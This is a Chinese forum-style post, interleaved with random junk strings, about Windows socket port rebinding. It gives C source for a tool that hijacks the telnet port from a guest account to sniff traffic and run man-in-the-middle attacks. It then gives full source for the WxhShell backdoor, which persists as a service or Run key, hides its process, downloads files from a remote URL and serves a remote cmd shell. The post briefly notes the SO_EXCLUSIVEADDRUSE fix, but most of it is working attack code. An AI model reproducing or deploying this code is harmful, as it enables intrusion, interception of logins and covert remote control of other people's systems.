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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sF :pwI5^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bYQ@! X)j%v\#`U saddr.sin_family = AF_INET; 1Z_w2D* Ux^ue9 saddr.sin_addr.s_addr = htonl(INADDR_ANY); @mu{*. &
]QY-LO( bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6||%T$_;} z7?SuJ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R=Ig !s9 X xwcvE 这意味着什么?意味着可以进行如下的攻击: KRd'!bG=1 gIRZ kT` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4@F8-V3q4 /160pl4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EGv]K| Y
cL((6A 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =v?V YwH Fn+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 $!p2Kf>/Q @JdeOL; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tr0kTW$Ad %kkDitmI{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r&v!2A]: <x<qO=lq 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vnbY^ASdw e$QMR.' #include =7kn1G.( #include .&b c3cW #include JY:Fu #include uj%]+Llxv DWORD WINAPI ClientThread(LPVOID lpParam); KDP&I J int main() Y*lc ~X { "IJ1b~j? WORD wVersionRequested; )2d1@]6# DWORD ret; %2'4h(Oq^ WSADATA wsaData; nip*Y@- F BOOL val; 2XUIC^<@s SOCKADDR_IN saddr; lxD~l#)^ln SOCKADDR_IN scaddr; _E0yzkS int err; 2C"i2/NH' SOCKET s; SMB&sl SOCKET sc; 0RCp int caddsize; Pu!C,7vUQ HANDLE mt; "tmu23xQ DWORD tid; * >NML]#0 wVersionRequested = MAKEWORD( 2, 2 ); {=!BzNMj err = WSAStartup( wVersionRequested, &wsaData ); WT,dTn;W if ( err != 0 ) { -zt*C&)b printf("error!WSAStartup failed!\n"); %F-yFN" return -1; cZ`%Gt6g } ZX+0{E8a saddr.sin_family = AF_INET; &jnBDr P()&?C //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rnMi
>? D}ZPgt#
saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !q/Q2 N( saddr.sin_port = htons(23); /a}N6KUi if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Zl! { w9x5 IRW k printf("error!socket failed!\n"); E6Uj8]P` return -1; z+0#H39 & } s"tH?m
)6 val = TRUE; $S?xB$ //SO_REUSEADDR选项就是可以实现端口重绑定的 |a\,([aU if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4/SltWU { E.*wNah"U printf("error!setsockopt failed!\n"); 6khm@}} return -1; W8]?dL}| } _S &6XNV //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F5UHkv"K&O //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (YPG4:[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4eaH.&& 51AA,"2[_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KeyHxU=? { w17{2'] ret=GetLastError(); "yU<X\ni printf("error!bind failed!\n"); X2np.9hie return -1; /bC@^Y&} } VqOTrB1w/ listen(s,2); .v=n-k7 while(1) "x:-#2+h { oq>jCOVh caddsize = sizeof(scaddr); :Xx7':5 //接受连接请求 -=u9>S)!c sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o/RGz PR if(sc!=INVALID_SOCKET) ^#w9!I{4. { S!R(ae^} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`X=[ m> if(mt==NULL) +).=}.k { >k}Kf1I printf("Thread Creat Failed!\n"); g'-hSV/@}@ break; tM:$H6m/( } 6k7x7z } dleLX%P CloseHandle(mt); `Y '-2Fv } %3K'[2F closesocket(s); 4;IZ}9|G WSACleanup(); NfCo)C-t return 0; O]25{L } WUx2CK2N DWORD WINAPI ClientThread(LPVOID lpParam) yaI jXv { h9. Yux SOCKET ss = (SOCKET)lpParam; q}"HxMJ SOCKET sc; r6:nYyF$)v unsigned char buf[4096]; $z@nT.x5 SOCKADDR_IN saddr; V<n#%!M5gV long num; JJ_KfnH DWORD val; <V8=*n"mR DWORD ret; qV$0 ";d //如果是隐藏端口应用的话,可以在此处加一些判断 %we! J%'Y] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 s"wz !{G4 saddr.sin_family = AF_INET; =NRiro saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); IPY[x| saddr.sin_port = htons(23); q6
4bP4K if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bh5C {
<j_
printf("error!socket failed!\n"); gX5.u9%C\ return -1; #
o\&G@e} } )d=&X|S> val = 100; ^g+M=jq _ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E3_ 5~> { ~~,#<g[ ret = GetLastError(); *+ O return -1; o-AAx#@ } #t">tL if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )Z`OkkabnD { Aacj? ret = GetLastError(); lI[O!VuKc return -1; Op iVQr: } lYrW"(2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <+`}:
A { 0 n)UvJ printf("error!socket connect failed!\n"); 6"bdbV=t closesocket(sc); 7<F{a"5P closesocket(ss); f[$Z<:D-ve return -1; W TC/mcS } *&F~<HC2+ while(1) 73E[O5?b { I9cZZ`vs //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~0{F,R.$ //如果是嗅探内容的话,可以再此处进行内容分析和记录 vqwSOh|P9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G4f%=Z num = recv(ss,buf,4096,0); `]l[p+DO if(num>0) kx[h41|n send(sc,buf,num,0); cvnRd.& else if(num==0) k/%n7 ;1 break; OFw93UJ Y num = recv(sc,buf,4096,0); YYd!/@|N5 if(num>0) Rd+`b send(ss,buf,num,0); g6q67m<h else if(num==0)
] 2lhJ break; 2{-'`lfM% } y]%Io]!d closesocket(ss); )G$0:-J- closesocket(sc); M7AUY#) return 0 ; ::k/hP9.^ } t. kOR< myWa>Mvb (w,
Gv-S ========================================================== >Co5_sCe ;e^`r;] 下边附上一个代码,,WXhSHELL WcE/,<^* N1z:9=(I ========================================================== =a./HCF 7Dx<Sr! #include "stdafx.h" kM @heFJb. ^WIGd"^ #include <stdio.h> pGSS
#include <string.h> 8Jf4"; #include <windows.h> -$kAWP8P4 #include <winsock2.h> q*K.e5"' #include <winsvc.h> o[K,( #include <urlmon.h> |1"n\4$ {o.i\"x; #pragma comment (lib, "Ws2_32.lib") +#
tmsv]2 #pragma comment (lib, "urlmon.lib") 1bJrEXHXy #ZpR.$`k #define MAX_USER 100 // 最大客户端连接数 i}e OWi #define BUF_SOCK 200 // sock buffer x-=qlg&EI #define KEY_BUFF 255 // 输入 buffer By}>h6`[ BjCg!6`XF #define REBOOT 0 // 重启 x]jJ #define SHUTDOWN 1 // 关机 X/`M'8v.% *`wgqin #define DEF_PORT 5000 // 监听端口 A;C)#Q/ $#F7C[2N #define REG_LEN 16 // 注册表键长度 7
a_99?J #define SVC_LEN 80 // NT服务名长度 3 n=ftkI %u02KmV. // 从dll定义API XSz)$9~hk typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~i/K7qZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xsdi\
j;n> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0:4w@"Q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qFYM2 ju?D=n@i // wxhshell配置信息 Lkl^
` struct WSCFG { Mi&jl_& int ws_port; // 监听端口 $|bdeQPr\ char ws_passstr[REG_LEN]; // 口令 &>%9JXU int ws_autoins; // 安装标记, 1=yes 0=no q`^T7 char ws_regname[REG_LEN]; // 注册表键名 6'1m3<G_ char ws_svcname[REG_LEN]; // 服务名 XhG3Of-6 char ws_svcdisp[SVC_LEN]; // 服务显示名 B1Cu?k);. char ws_svcdesc[SVC_LEN]; // 服务描述信息 l|&DI]gw char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *.F4?i2D int ws_downexe; // 下载执行标记, 1=yes 0=no use`
y^c char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ptEChoZ6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "Z*u2_ H /p_#8}Uh }; X[KHI1@w _iZ_.3Ip // default Wxhshell configuration Z</.Ss 4 struct WSCFG wscfg={DEF_PORT, x 2Cp{+} "xuhuanlingzhe", &+zS4)UK 1, &)v}oHy,m "Wxhshell", 9&}i[x4 "Wxhshell", DDwm;,eZ "WxhShell Service", R\d)kcy4 "Wrsky Windows CmdShell Service", sW]fPa(cn, "Please Input Your Password: ", aJ^RY5 1, =S:Snk% " http://www.wrsky.com/wxhshell.exe", R;EdYbiF b "Wxhshell.exe" Y('?Z] }; ,@4~:OY p? L*vcU // 消息定义模块 k]9v${Ke char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5|0} char *msg_ws_prompt="\n\r? for help\n\r#>"; UCVdR<<Z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ==)q{e5 char *msg_ws_ext="\n\rExit."; Yb;$z' char *msg_ws_end="\n\rQuit."; jM!Q
04( char *msg_ws_boot="\n\rReboot..."; 3r-oZ8/n char *msg_ws_poff="\n\rShutdown..."; $;%k:&\f char *msg_ws_down="\n\rSave to "; :M
_N 8%Hc%T[RnT char *msg_ws_err="\n\rErr!"; ,37\8y?o\ char *msg_ws_ok="\n\rOK!"; N- :.z]j#_ qz6@'1 char ExeFile[MAX_PATH]; K#!c<Li# int nUser = 0; ;2jH;$HZ HANDLE handles[MAX_USER]; /Mmts=^Ja int OsIsNt; Y~[k_! {YigB SERVICE_STATUS serviceStatus; K@>($BX] SERVICE_STATUS_HANDLE hServiceStatusHandle; @[. 0, aT"0tn^LO // 函数声明 0l+[[ZTV int Install(void); H4"'&A7$ int Uninstall(void); <Po$|$_~ int DownloadFile(char *sURL, SOCKET wsh); ATscP hk int Boot(int flag); c1aIZ void HideProc(void); KO3X)D<3 int GetOsVer(void); urK~]68 int Wxhshell(SOCKET wsl); vA&MJD{ void TalkWithClient(void *cs); Jwt_d}ns int CmdShell(SOCKET sock); j9^V)\6) int StartFromService(void); 2U.'5uA"L int StartWxhshell(LPSTR lpCmdLine); ;G|#i?JJ '
>R?8Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x,: DL)$1 VOID WINAPI NTServiceHandler( DWORD fdwControl ); $~5ax8u&!# Dlqvz|X/ // 数据结构和表定义 6Mh"{N7 SERVICE_TABLE_ENTRY DispatchTable[] = #Q'j^y7=z { r"xs?P&/$ {wscfg.ws_svcname, NTServiceMain}, f6k=ew {NULL, NULL} S}/5W }; !M@jW[s !@3"vd{^ // 自我安装 _`.Wib+ int Install(void) My<.^~ { 2D)B%nM[ char svExeFile[MAX_PATH]; 'B yB1NL HKEY key; #bCQEhCy strcpy(svExeFile,ExeFile); 1=z6m7@'- z,xGjSP // 如果是win9x系统,修改注册表设为自启动 :Fh#"<A&& if(!OsIsNt) {
WiiAIv& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IC6r? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u1;sH{YK> RegCloseKey(key); mr2fNA>kR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hAU@}"=G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
34<k)0sO RegCloseKey(key); y/>IF|aX return 0; \zLKSJ] } [PX%p;"D } jT=fq'RK } CWY-}M else { buKSZ -]<<}@NF // 如果是NT以上系统,安装为系统服务 Nbb2wr9A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s
a{x.2/o} if (schSCManager!=0) <N{Y*,^z { }?^]-`b SC_HANDLE schService = CreateService u5N&W n{ ( pc2;2^U_ schSCManager, Dgc}T8R wscfg.ws_svcname, q1pB~eg5 wscfg.ws_svcdisp, \c4D|7\= SERVICE_ALL_ACCESS, !xvAy3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bJoP@s SERVICE_AUTO_START, U%)-_
*`z SERVICE_ERROR_NORMAL, =*{Ii]D svExeFile, k&lfxb9pd NULL, 1+9!W NULL, ]FEDAGu NULL, }'`}| pM$ NULL, oy\U\#k NULL {uN-bl?o ); M$s9 if (schService!=0) nxMZd=Y { BU.O[?@64 CloseServiceHandle(schService); c2Wp 8l CloseServiceHandle(schSCManager); MSE0z!t strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MO@XbPZB strcat(svExeFile,wscfg.ws_svcname); {Y|?~ha# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u0F{.fe RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MO%+rf0~w RegCloseKey(key); w8cbhc return 0; 089v;
d 6 } mO2u9?N } #'dNSez5 CloseServiceHandle(schSCManager); ]Z?jo#F } |j=Pj)5J } S!66t?vHB ?=G{2E. return 1; 'x6rU"e $J } GT,1t=|&V Y<h6m]H // 自我卸载 xnxNc5$oE int Uninstall(void) Rxlz`& { |3 mcL' HKEY key; VS3lz?o?6g {Z1KU8tp if(!OsIsNt) { {q! :t0X.Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dU-nE5 RegDeleteValue(key,wscfg.ws_regname); Rj3ad 3z'E RegCloseKey(key); KAgxIz!^-1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |$g} &P8; RegDeleteValue(key,wscfg.ws_regname); _rg*K RegCloseKey(key); ?[;>1+D return 0; liMw(F2 } N}nE?|N=5 } X?o6=)SC| } 7{\6EC}d[& else { TE:|w
Xe kB.CeG]tk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k$GtzjN if (schSCManager!=0) 4~Y?*|G]m { NOmFQ)/ & SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nNf*Q
r%Z if (schService!=0) _nM 7SK { |
{Q}:_/q if(DeleteService(schService)!=0) { 3YG%YhevO CloseServiceHandle(schService); $,B;\PX CloseServiceHandle(schSCManager); (8~D^N6Z return 0; DMOP*;Uk } UF$O@l CloseServiceHandle(schService); +8Y|kC{9" } ]=PkgOJD CloseServiceHandle(schSCManager); %aV~RB# } Rg^ps } !%[fi[p hj}PL return 1; OF2W UcQ } ^*w}+tB "T*1C= // 从指定url下载文件 sX-@
>%l int DownloadFile(char *sURL, SOCKET wsh) 3m$ck$ { axOEL:-|Bu HRESULT hr; Y<V$3h char seps[]= "/"; M:dH> char *token; !f]kTs]j~ char *file; BS
]:w(}[ char myURL[MAX_PATH]; Lrmhr3
w5 char myFILE[MAX_PATH]; `"o{MaFA virt[5w strcpy(myURL,sURL); yy+:x/(N[ token=strtok(myURL,seps); &*745,e while(token!=NULL) o=6 <?v7 { e]5NA?2j file=token; F]fXS-@ c token=strtok(NULL,seps); z,bK.KFSs } t1NGs-S3 G;d3.ml/aZ GetCurrentDirectory(MAX_PATH,myFILE); ~nb(e$?N strcat(myFILE, "\\"); m2P&DdN[ strcat(myFILE, file); T0~~0G)k send(wsh,myFILE,strlen(myFILE),0); L6#4A3yh send(wsh,"...",3,0); =k>fW7e hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3.1%L"r[) if(hr==S_OK) )7X$um return 0; =dsEt\
j else [%O f return 1; pRzL}-[/v nM ?Nf} } MiR$N ~FQHT?DAo // 系统电源模块 #d06wYz= int Boot(int flag) uEf=Vj}G { 3 qJ00A HANDLE hToken; xkU8(= TOKEN_PRIVILEGES tkp; u:Ye`]~o m'N8[ o|h if(OsIsNt) { 9aNOfs8( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (#Xs\IEV F LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =z]rZSq*o tkp.PrivilegeCount = 1; &H
P g> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |sY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )0DgFA6k_ if(flag==REBOOT) { E-($Xc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T
"hjL return 0; wph8ln"C- } s;..a&C' else { B"zB=Aw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Xk/iyp/ return 0; ~y?Nn8+&f } #oR`_Dm)P } \XYidj else { )2#&l if(flag==REBOOT) { "LJV}L if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ca3SE^ return 0; q"6$#o{~U } IUDH"~f else { ~Uey'Xz if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wlsx| return 0; ;^u,[d } _C(fz CK } :U *8S\$ n#}~/\P6 return 1; ^#Mp@HK } G+Bk!o '2hy% // win9x进程隐藏模块 2g~ @99` void HideProc(void) : p)R,('g { 0kNKt(_ D4C:%D HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;obOr~Jx'5 if ( hKernel != NULL ) d7mn(= & { }2;iIw` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <:NahxIlu ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '=%`;?j FreeLibrary(hKernel); vm{8x o } +2}cR66% [ZC\8tP`V return; 93:oXyFjD } 9#m3<oSJ #/jug[wf*! // 获取操作系统版本 4(VV@:_% int GetOsVer(void) ExSM=
{ F\^8k /0 OSVERSIONINFO winfo; SDV#p];u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @;$cX2 GetVersionEx(&winfo); Yh!=mW!OY if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MmfBFt* return 1; +3o0GJ
else < \fA}b return 0; #z
_<{'
P" } x;$ESPPg M:/(~X{? // 客户端句柄模块 /e[m;+9^& int Wxhshell(SOCKET wsl) zi3v,Kq { iETUBZ SOCKET wsh; ~[dL:=?c struct sockaddr_in client; }A,!|m4 DWORD myID; KvEv0L<ky 7s3=Fa:9Q while(nUser<MAX_USER) iw=e"6V { sNcU>qjj6 int nSize=sizeof(client); *4NY"EwjN wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gzn:]Y^ if(wsh==INVALID_SOCKET) return 1; n|6G\99l+M Du65>O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8h }a:/ if(handles[nUser]==0) *~shvtq closesocket(wsh); U# S-x5Gn else 2oV6#!{Z nUser++; /RMtCa~ } D!!
B4zt WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A&p@iE*/ [ 5!}+8]W return 0; KXDnhVf } 0%%U7GFB5 nW"O+s3 // 关闭 socket VevG 64o void CloseIt(SOCKET wsh) K-)!d$$
{ gd]S;<Jh closesocket(wsh); HcJ!( nUser--; o$l8"Uv ExitThread(0); =0]K(p, } y6tqemz yP"}(!~m // 客户端请求句柄 UPr&
`kaJ void TalkWithClient(void *cs) d~r A`!s7` { &9)/" v%AepK& SOCKET wsh=(SOCKET)cs; 5,s@K>9l; char pwd[SVC_LEN]; F-rhxJd char cmd[KEY_BUFF];
]&"ii char chr[1]; `h'l"3l int i,j; )^ZC'[93 Hv/5) while (nUser < MAX_USER) { fs;\_E[) V^R,j1* if(wscfg.ws_passstr) { " "m-5PGYo if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9
@ < //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d^nO&it //ZeroMemory(pwd,KEY_BUFF); t0e5L{ QJ i=0; ui,!_O .c while(i<SVC_LEN) {
%G\nl 8y<.yfgG // 设置超时 2t_g\Q fd_set FdRead; "{qnm+G struct timeval TimeOut; !;h&@LXG( FD_ZERO(&FdRead); 2 G2+oS
? FD_SET(wsh,&FdRead); \A011R& TimeOut.tv_sec=8; VBPtM{g TimeOut.tv_usec=0; F nXm;k,9* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |8~)3P k if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k(^TXUK\o |v8hg])I+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bRyxP2 pwd =chr[0]; ym%` l! if(chr[0]==0xd || chr[0]==0xa) { #}B1W&\sw pwd=0; J.XhP_aT break; <uB)u>3
} }DM W,+3 i++; A03io8D6 } GvG8s6IZ L~{(9J'( // 如果是非法用户,关闭 socket MXfyj5K if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;lb } PNo:[9`S;m =E]tEi send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -K?lhu send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^*`#+*C Jh=.}FXnjL while(1) {
l$\B>u,> qhvT," ZeroMemory(cmd,KEY_BUFF); 3{|~'5* 1!G}*38; // 自动支持客户端 telnet标准 ,(Zxd4?y j=0; ; 8DtnnE while(j<KEY_BUFF) { BRM `/s if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q MrM^ ~ cmd[j]=chr[0]; Ul/m]b6- if(chr[0]==0xa || chr[0]==0xd) { \1joW# cmd[j]=0; 4]m{^z`1 break; dWkQ NFKF } 'A.5T%n- j++; (>A#|N1U } [(_,\:L${ ,)*[Xa_n // 下载文件 aWJ
BYw6{L if(strstr(cmd,"http://")) { PkyX,mr#1 send(wsh,msg_ws_down,strlen(msg_ws_down),0); i&lW&] if(DownloadFile(cmd,wsh)) 68h1Wjg:"! send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4hxP`!< else S-o)d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P HOngn } q x1Js3% else { j>;1jzr2} -ak.wwx\ switch(cmd[0]) { 2bTS,N/> syg{qtBz^ // 帮助 3e^0W_>6 case '?': { yH-&o, send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *,CJ 3<> break; ZT*}KJm } bj@R[!ss // 安装 $8U$.~v case 'i': { m-\_L=QzM if(Install()) 4(P<'FK $ send(wsh,msg_ws_err,strlen(msg_ws_err),0); F*#!hWtb else mMXDzAllB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _;5zA"~c#@ break; q?mpvpLG } eq%cRd]u // 卸载 xS%&l)dT case 'r': { Io JI|lP if(Uninstall()) .wq
j send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0lniu=xmQ- else 8g)$%Fy+N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zF^H*H break; .hxFFk%5 } v&;JVai // 显示 wxhshell 所在路径 6?%$e$s case 'p': { F%$ q]J[ char svExeFile[MAX_PATH]; K<::M3eQ strcpy(svExeFile,"\n\r"); dF 6od strcat(svExeFile,ExeFile); j*|0#q;e6 send(wsh,svExeFile,strlen(svExeFile),0); Mx6
yk, break; =|Qxv`S1 } BaI-ve // 重启 oKGF'y?A> case 'b': { Ru#pJb(R send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tzd!r7 if(Boot(REBOOT)) bcwb'D\a send(wsh,msg_ws_err,strlen(msg_ws_err),0); c-&Q_lB else { W&cs&>F# closesocket(wsh); $eT[`r ExitThread(0); ./3/3&6 } (?'vT% break; (_FeX22+ } {ixKc // 关机 6(7{|iY
case 'd': { Q~ Ad{yC send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hG~.Sc:G if(Boot(SHUTDOWN)) -a>CF^tH send(wsh,msg_ws_err,strlen(msg_ws_err),0); LNR1YC1c else { (D?4*9= closesocket(wsh); }z/%b<o_ ExitThread(0); hNYO+LrI) } zQ,M795@EA break; ewn\'RLZ"@ } Wf8@B#^{ // 获取shell q%q+2P> case 's': { .p=J_%K}0x CmdShell(wsh); LqI&1$# closesocket(wsh); N-2_kjb! ExitThread(0); Bf y break; A#?Cts,M } 0Cf'\2
// 退出 /mp!%j~ case 'x': { V\L%*6O send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &$2d=q8mh CloseIt(wsh); E>-I
|X"L1 break; G?b*e|@S } OY81|N
j // 离开 6
F 39' case 'q': { ^fO9oPM| send(wsh,msg_ws_end,strlen(msg_ws_end),0); KwaxNb5 closesocket(wsh); T zS?WYF WSACleanup(); ,d lq2 exit(1); 0/|Ax-dK break; sl@>GbnS } 4HZXv\$ } 2#yDVN$ } VuTTWBx HbPn<x^7 // 提示信息 6hR `sE if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C7W<7DBf } *PFQ } %zY5'$v ` x<rS2d-Y return; P~lU`.X} } t OJyj49^a %ueD3;V // shell模块句柄 }.8yKj^p int CmdShell(SOCKET sock) +Tx_q1/f5X { `ItoL7bi STARTUPINFO si; kzK9. ZeroMemory(&si,sizeof(si)); m##!sF^k~J si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KrG,T5 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NhTJB7 PROCESS_INFORMATION ProcessInfo; cVMRSp char cmdline[]="cmd"; HrZX~JnTmf CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C,mfA%63 return 0; !fe_w5S^ } @^ &p$: aY.cx1" // 自身启动模式 w8$>
2 int StartFromService(void) P'}B5I~ { p{ZyC typedef struct @T L|\T { Qa:[iF DWORD ExitStatus; X}x\n\Z DWORD PebBaseAddress; %#&njP DWORD AffinityMask; t\YM Hq<Y DWORD BasePriority; e9/Mjq\ ULONG UniqueProcessId; >)diXe}j ULONG InheritedFromUniqueProcessId; P {n*X } PROCESS_BASIC_INFORMATION; W{Z7= W?kJ+1"( PROCNTQSIP NtQueryInformationProcess; 1k)pJzsc bd}[X'4d static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :HrFbq static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &\cS{35 6yAZvX HANDLE hProcess; !kb:g]X PROCESS_BASIC_INFORMATION pbi; bd%<
Jg+ I7=A!C" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @VG@|BQWa if(NULL == hInst ) return 0; E>5p7=Or;" |dqESl,2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); biw .
